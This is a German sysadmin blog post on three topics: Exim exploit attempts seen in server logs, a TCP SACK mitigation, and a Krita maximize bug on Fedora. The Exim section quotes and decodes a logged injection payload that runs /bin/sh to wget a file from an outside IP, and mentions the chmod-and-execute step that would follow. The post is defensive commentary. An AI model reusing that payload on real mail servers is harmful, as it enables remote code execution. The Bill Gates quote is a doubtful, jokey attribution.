Die Möchtegern-Exim-Exploitwelle geht weiter

Ich könnte mich wegwerfen vor Lachen, die Scriptkids attackieren tatsächlich Server, die Exim in der gepatchten Version laufen haben oder gleich gar keinen Exim, sondern Postfix 😀

Kleine Umfrage auf unserem Cluster

Und so sieht die neueste Version u.a. aus :

2019-06-19 16:08:46 H=(service.com) [98.158.184.125] F=<support@service.com> rejected RCPT <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2fX.X.X.X\x22}}@XXX.XXXXXXX.XX>: you have been blacklisted.

Ich übersetze mal :

/bin/sh -c „wget 64.50.180.45/tmp/X.X.X.X“

Randnotiz: Das SANS Institute glaubte doch glatt, daß die „/bin/sht -ct“ ausführen wollten, weil deren Postfix die „\t“ in „t“ umgewandelt hatte 🙂

Das obige kann nur funktioniert, wenn man danach auch noch chmod u+x /tmp/X.X.X.X;/tmp/X.X.X.X ausführt und wenn der Server auch mal was ausliefern würde, außer der 404 Seite .. aka… Hack schon gefunden und beseitigt 😉  Naja, die hatten ja auch zwei Tage Zeit 😉

Zu viel Drama um die TCP SACK Problematik

Um dem Drama mal den Schwung aus den Segeln zu nehmen:

sudo echo „0“ > /proc/sys/net/ipv4/tcp_sack

auf den gefixten Linux Kernel warten, rebooten, fertig. Wer keinen neueren Kernel bekommt, trotzdem rebooten muß, der fügt :

net.ipv4.tcp_sack = 0

ans Ende der Datei /etc/sysctl.conf an und schon wird SACK beim Start deaktiviert.

Ich könnte natürlich jetzt auch son Quatsch von mir geben wie :

„Ooohhh! Große Lücke im Kernel! Linux Server werden durch DDOS vom Netz genommen! Panik! Ich sagte PANIK! P.A.N.I.K!!!

blöderweise passierte … rein gar nichts davon 😀

Das jeder seinen Krempel mittlerweile nur noch über den Panikbutton vermarktet, macht es echten Lücken, wie der Exim Root-Exploit Geschichte neulich nicht einfacher. Oder dem Firefox Exploit über Javascript! Was fürn Geheul, und ooooooohhh … zwei Tage später der nächste Security Patch… auch wieder alle im Panikmodus. NOSCRIPT installieren und schon ist Ruhe!

Redhat hat 2 Tage gebraucht den FireFox 67.0.3 zu kompilieren, bevor es endlich mal durchlief und ? Juckt das NOSCRIPT User? Nein 🙂

PS: Wer es für Fedora eilig hat mit dem FF Update : https://koji.fedoraproject.org/koji/buildinfo?buildID=1291078

 

Fedora hat Krita 4.1.8 bekommen und wir ein Problem

Freude, Fedora hat ein Krita Update bekommen \o/ … öhm…auf die sechs Monate alte Version 4.1.8, statt der aktuellen Version 4.2.2. Und damit einen Bug, den Linux Mint schon im Januar hatte, man kann jetzt nämlich das Fenster nicht mehr maximieren. WTF !

„Erfreut Euch an den Bugs, was anderes habt Ihr nicht!“ (Bill Gates)

Ich spare mir mal das lange Palaver über die Ursachen alte Versionen zu compilieren, wenn dann auch noch Bugs drin sind. *Kopfschüttel*  Der Fix ist jedenfalls denkbar einfach. Auf der rechten Seite sind Docker untergebracht. Auf den ersten Blick bemerkt man, daß die Seite komisch aussieht, weil jede Menge neue, völlig unnütze Docker da drin sind. Aus einem mir unverständlichen Grund, triggert das Krita dazu, das Maximize Button im Fensterrahmen abzulehnen und sonst auch alle Request an den Windowmanager das Fenster doch mal zu vergrößern zu verneinen.

Wenn man jetzt ein paar von den Dockern entfernt, braucht man vermutlich eh nicht, dann kommt zuerst die Maximize Funktion wieder und nach dem ersten Refresh des Fensterrahmens ist auch das Button wieder da.

Wer das Zitat von Bill Gates nicht kennt, kann ja mal auf den Text klicken 😉